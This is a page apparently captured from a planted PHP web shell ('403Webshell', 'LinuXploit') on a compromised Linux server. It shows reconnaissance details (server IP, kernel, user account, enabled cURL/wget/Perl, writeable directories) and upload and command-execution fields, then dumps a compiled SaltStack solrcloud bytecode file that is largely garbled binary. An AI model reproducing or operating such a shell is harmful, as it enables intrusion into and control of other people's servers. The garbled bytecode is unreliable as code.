403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/solrcloud.cpython-310.pyc
o

;j��@s"dZddlZdd�Zddd�ZdS)zV
States for solrcloud alias and collection configuration

.. versionadded:: 2017.7.0

�NcKs>|iddd�}td|fi|��rktd|fi|��}t|��t|��}t|�dkr4d|d<d	|d
<|StdrEd|�d
�|d
<d|d<ntd||fi|��d|�d�|d
<d|d<d�|�d�|�d�|d<|Stdr|d|�d�|d
<d|d<ntd||fi|��d|�d�|d
<d|d<dd�|�d�|d<|S)a*
    Create alias and enforce collection list.

    Use the solrcloud module to get alias members and set them.

    You can pass additional arguments that will be forwarded to http.query

    name
        The collection name
    collections
        list of collections to include in the alias
    F���name�changes�result�commentzsolrcloud.alias_existszsolrcloud.alias_get_collectionsrTrzAlias is in desired stater�testzThe alias "z" will be updated.Nzsolrcloud.alias_set_collectionsz" has been updated.�,��old�newr�" will be created.�" has been created.)�__salt__�set�
difference�len�__opts__�join)r�collections�kwargs�retZ
alias_content�diff�r�I/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/solrcloud.py�aliass@�

��

�rc	s�|iddd�}|dur
i}td|fi|��r�i}td|fi|��}gd���fdd	�|��D�}|D]\}}||vsB|||krF|||<q4t|�d
krWd|d<d
|d<|Stdrhd|�d�|d<d|d<ntd||fi|��d�|�|d<d|d<tjjj|dddd�tjjj|dddd�d�|d<|Stjjj|dddd�}tdr�d|�d�|d<d|d<ntd||fi|��d|�d�|d<d|d<dd|d�|d<|S)a	
    Create collection and enforce options.

    Use the solrcloud module to get collection parameters.

    You can pass additional arguments that will be forwarded to http.query

    name
        The collection name
    options : {}
        options to ensure
    FrrNzsolrcloud.collection_existsz solrcloud.collection_get_options)ZmaxShardsPerNodeZreplicationFactorZautoAddReplicaszcollection.configNameZruleZsnitchcsg|]}|�vr|�qSrr)�.0�k�Zupdatable_optionsrr�
<listcomp>mszcollection.<locals>.<listcomp>rTrz'Collection options are in desired staterrzCollection options "z" will be changed.z solrcloud.collection_set_optionsz,Parameters were updated for collection "{}".�)r	z: )�	sort_keys�indent�
separatorsr
rzThe collection "r
zsolrcloud.collection_createrzoptions=)	r�itemsrr�format�salt�utils�json�dumps)	r�optionsrrrZcurrent_options�key�valueZnew_changesrrr�
collectionFsb�	�
���
��

�r-)N)�__doc__Zsalt.utils.jsonr&rr-rrrr�<module>s;

Youez - 2016 - github.com/yon3zu
LinuXploit